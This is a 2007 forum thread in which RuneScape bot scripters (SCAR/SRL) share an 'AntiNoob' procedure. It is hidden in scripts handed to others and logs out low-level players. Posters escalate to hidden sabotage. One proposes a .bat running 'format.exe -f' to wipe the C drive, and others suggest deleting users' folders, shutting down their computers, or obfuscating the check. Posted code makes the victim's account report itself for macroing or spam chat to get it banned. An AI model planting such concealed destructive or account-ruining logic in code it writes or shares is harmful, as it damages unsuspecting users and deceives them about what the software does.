AntiNoob
Esteban
2007-07-05 14:40:57
{.include SRL\SRL.scar}
Procedure AntiNoob;
begin
if(GetCombatLevel < 20)then logout;
begin
ActivateClient;
wait(1000+random(100));
AntiNoob;
end.
I though if this last night while lying in bed, but it was a whole lot more complex than what it needed to be. you can set the 20 in if(GetCombatLevel < 20) to whatever you want the level requirement to be. I have my own way to somewhat hide this within the script, you can make your own. Also, I'd recommend calling it something else other than AntiNoob; for is the noob using the script is determined enough they could probably find the procedure by what the title of the procedure is.
Lalaji
2007-07-05 14:46:46
And the only thing an expirenced user would have to do is delete that. :)
It wouldent be that hard to find it in any script.
Esteban
2007-07-05 14:48:58
That is the thing, if the people come here just to use the script, don't post at all, don't care how the script works just as long as it runs (aka leecher), then they would probably not take the time to find out how it is stopping them.
This isn't meant to stop experienced users.
Lalaji
2007-07-05 14:53:07
Oh i see what you are saying, But seriously some of then leechers, it would take them a day or 2 manx to find where in the script\SRL you have hidden this procedure.
Esteban
2007-07-05 14:56:09
yea, and thats unaviodable unless there is a better way to add it into a script (perhaps have it in SRL), and declare the procedure in the script, so it's not actually written in the script. Of course, the procedure's title would have to be misleading, nothing like antinoob;.
Yes, these things have been tried before, but it's probably best to include in a read-only version of the SRL include.
lordsaturn
2007-07-05 15:28:39
Maybe you could stick it in SetupSRL?
3Garrett3
2007-07-05 15:35:03
Plus, that extra getcombatlevel isnt needed, only the if getcomabatlevel < 20 thing.
In case anyone wants to know, i help with this idea :) :p.
n3ss3s
2007-07-05 15:40:17
Sorry but I made the same things with extra sauce about when I got memb.
Mine removed the noobs script from comp and shut his comp down :)) gotta love
But, ofcourse you can make it different, way of your own.
Gj.
crossback7
2007-07-05 15:54:32
^^Ah that's pretty tight. Of course, it could discourage them from using SCAR if it was the first script they had used, as it would make them think that SCAR crashed their computer :p
How about wiping the entire contents of their C drive?
Naw, too harsh.
Esteban
2007-07-05 19:17:56
yea, Garrett was the one who shut down my uber complex way of doing this. But thanks for the idea man ;). Maybe a read only file of SRL would help, but all the leecher would have to do is figure out which procedure in the script keeps him from running the script, then take it out.
Then they're not a leecher, but they know how to do their own shit.
A G E N T
2007-07-05 20:14:20
You could either put it in a plugin (which would be a real pain in the ass) or, as people before have said, a read-only include. Perhaps it could be included in something that is really necessary, such as LoggedIn.
Obviously the main goal of this is to prevent naive leechers from…leeching. However, it doesn't take a true scripter to search your script for whichever phrase it displays in the debug.
It would be tricky but useful.
Santa_Clause
2007-07-05 20:20:01
Someone's been leaking to the non-members :p
Esteban
2007-07-05 20:33:15
eh SantaClause? are you saying leaking to me, or leaking to AGENT83? Either way, both of those ideas doesn't take a lot of thought to think of.
Tim0suprem0
2007-07-05 21:35:59
If it were me I wouldn't put the text in there letting them know the script stopped because of their combat level. If it just closed down for no apparent reason everytime they'd be more confused :)
Esteban
2007-07-05 21:39:12
eh thats true, maybe just have a warning on the script download page that this script is an anti-leecher script, and have the cutoff leecher level at a reasonable level.
No, there should be no warning, just have a cutoff at a reasonably low level.
3Garrett3
2007-07-06 10:07:59
From: SantaClause
Someone's been leaking to the non-members :p
Who leaked what?
n3ss3s
2007-07-06 10:37:35
But, read only version will kill us if a bug comes, like the one you had to change in "BankScreen" the 185 to 184.
Better option than read only would maybe be that every procedure would have
if(not(TheProcBelow))then TerminateScript;
then, leechers would have to rewrite whole SRL :)
And, the following ofcourse would include end else and if there are the procedures, then it can continue :))
Leechers couldnt solve that.
Lalaji
2007-07-06 12:23:16
What does if(not(TheProcBelow)) do?
Harry
2007-07-06 12:57:47
I have seen this before.. in SKy Scripter's mining guild thing.. :D
n3ss3s
2007-07-06 13:21:07
It was just an example. TheProcBelow is not a real variable on constant, but by that I ment that if there were an array of the procedure names and few other vars, we could check in every procedure if the procedure below the current exists, and that'd be included in SetupSRL;
With if then statement you can decide things by a boolean value like
" if(ClockIsOver4am)then
begin
GoSleep;
end;
I was thinking about this last night, and would like to talk to the admins about it, but I don't know, they didn't talk to me last time, so they might not notice me a second time. I'd like to know if we could implement remote includes.
TravisV10
2007-07-06 13:44:05
Cool, I will put his in my script.
Esteban
2007-07-06 16:47:26
Took it down to the bare minimum that it can be, and the explanation messages.
rotflmfwao
2007-07-12 22:11:47
From: Here
How about wiping the entire contents of their C drive?
Naw, too harsh.
Make a .bat file,
@echo off
Run format.exe -f
@echo on
Or something like that, I'm a 'lil rusty XD
destroyface
2007-07-18 22:57:05
i made a script for my friend wood cutting and he uses a lvl 3 with 58 wc so i put this in and told him it was updated lol
zenma
2007-07-24 23:44:24
hehe…kinda funny idea but i like it :D
Bobarkinator
2007-07-25 00:06:11
You can have that procedure do "SendInterScarInteger('something',1);" (I'm not sure if that is correct params) then have all the procedures try and recieve that and if they don't then terminate script
Esteban
2007-07-25 15:06:23
What are we talking about that's been leaked :confused:?
haha. yeah, ive seen this around alot. I always thought it should do something else besides logout. maybe like
if (getCombatLevel < 20) then
begin
repeat
writeln('your a toal noob');
until(false);
end;
or write a bunch of laggy procedures that would make scar freeze up and they would have to alt+f4 it (if they know how). just throw a bunch of findBitmapDeformedTol's of a bitmap that doesnt exist in runescape.
or just have it run a bunch of spam procedures and get them banned.
or have it delete there scar/includes folder
the possibilities are endless.
as far as hiding it goes, you could just press tab 50 times and theyd never find it.
Lalaji
2007-07-25 16:55:02
From: munk
as far as hiding it goes, you could just press tab 50 times and theyd never find it.
I think they would know how to search…
From: lalaji
I think they would know how to search…
leechers dont know anything. they have melons for brains.
senrath
2007-07-28 21:42:04
How about once you finish with the script and put this in, you use an obfuscator? I think that would be pretty effective :P
Esteban
2007-08-03 12:29:45
No real point in trying to obfuscate this, it is simply meant to deter leechers who don't really care about the script, as long as the script works. Msot likely, a leecher would move on to another script if they were stopped by this.
R0b0t1
2007-08-05 23:51:42
Heres an idea -
First, if they start up the script and it finds something that may mean they are a leecher, then SCAR counts 1. After it gets to five, It deletes SRL.
Jackrawl
2007-09-01 21:08:03
Yeaaaah no, they probably wouldn't understand the noob part on that. Ive got a better idea ^^
if (getCombatLevel < 20) then
begin
repeat
writeln('your a total noob');
MoveMouse(coordinates of Report Abuse);
Typesend('username');
MoveMouse(coordinates of Macroing);
ClickMouse(coordinates of Macroing);
Wait(60000);
Writeln('Thankyou for donating your IP to the Srl-Forums for testing.';
MoveMouse(coordinates of Report Abuse);
Typesend('username');
MoveMouse(coordinates of Macroing);
ClickMouse(coordinates of Macroing);
until(false);
end;
God I'd love to see their reactions…I panicked from something similar to that when an auto ranger glitched up.
kaustav_002
2007-09-01 22:55:50
your all total NOOOOBZZZ I think it isnt very hard for a noob like me to umm i dunno change a number from 20 to 120 or 10 or 3 or i dunno ,watever you want
drnewheart
2007-09-03 19:28:49
Procedure ***********;
begin
if (getCombatLevel < 127) then
begin
Writeln('Please Dont Leech');
repeat
MMouse(461,491,2,2);
Sendkeys(Username);
MMouse(75,306,2,2);
Mouse(75,306,1,1,True);
SendKeys('IM A BOTTING LEECHER');
Wait(50);
SendKeys('IM A BOTTING LEECHER');
Wait(100);
SendKeys('IM A BOTTING LEECHER');
Wait(150);
SendKeys('IM A BOTTING LEECHER');
Wait(200);
SendKeys('IM A BOTTING LEECHER');
Wait(250);
SendKeys('IM A BOTTING LEECHER');
Wait(300);
SendKeys('IM A BOTTING LEECHER');
Wait(350);
SendKeys('IM A BOTTING LEECHER');
Wait(400);
SendKeys('IM A BOTTING LEECHER');
Wait(450);
SendKeys('IM A BOTTING LEECHER');
Wait(500);
SendKeys('IM A BOTTING LEECHER');
Wait(50);
SendKeys('IM A BOTTING LEECHER');
Wait(100);
SendKeys('IM A BOTTING LEECHER');
Wait(150);
SendKeys('IM A BOTTING LEECHER');
Wait(200);
SendKeys('IM A BOTTING LEECHER');
Wait(250);
SendKeys('IM A BOTTING LEECHER');
Wait(300);
SendKeys('IM A BOTTING LEECHER');
Wait(350);
SendKeys('IM A BOTTING LEECHER');
Wait(400);
SendKeys('IM A BOTTING LEECHER');
Wait(450);
SendKeys('IM A BOTTING LEECHER');
Wait(500);
SendKeys('IM A BOTTING LEECHER');
Wait(50);
SendKeys('IM A BOTTING LEECHER');
Wait(100);
SendKeys('IM A BOTTING LEECHER');
Wait(150);
SendKeys('IM A BOTTING LEECHER');
Wait(200);
SendKeys('IM A BOTTING LEECHER');
Wait(250);
SendKeys('IM A BOTTING LEECHER');
Wait(300);
SendKeys('IM A BOTTING LEECHER');
Wait(350);
SendKeys('IM A BOTTING LEECHER');
Wait(400);
SendKeys('IM A BOTTING LEECHER');
Wait(450);
SendKeys('IM A BOTTING LEECHER');
Wait(500);
Wait(15000);
Writeln('Thankyou for donating your IP to the Srl-Forums for testing.');
until(false);
end;
end;
This is what im using for my "Anti Noob"
I put it on lvl 127 so ANY level leecher cant use my script.
havoc928
2007-09-09 19:20:34
lmao…
Billy Bobby8
2007-09-09 20:19:13
Maybe you could design a plug in that if you removed it, would corrupt the whole script?
oh wow lmao i never eithen seen this i put a request in for someone to make an simular script :O
yeh Billy Bobby8 thats a good idea but most noobs wouldent eithen bother searching to solve the problem they would just post on the thread therefore hanging them selfs.
you can just name the procedure something other than CombatLevel or CheckNoob as then they would just delete it?
thebob142
2007-11-13 22:56:04
From: JackLKrawl
Yeaaaah no, they probably wouldn't understand the noob part on that. Ive got a better idea ^^
God I'd love to see their reactions…I panicked from something similar to that when an auto ranger glitched up.
would that even work wouldn't know new to scripting =/?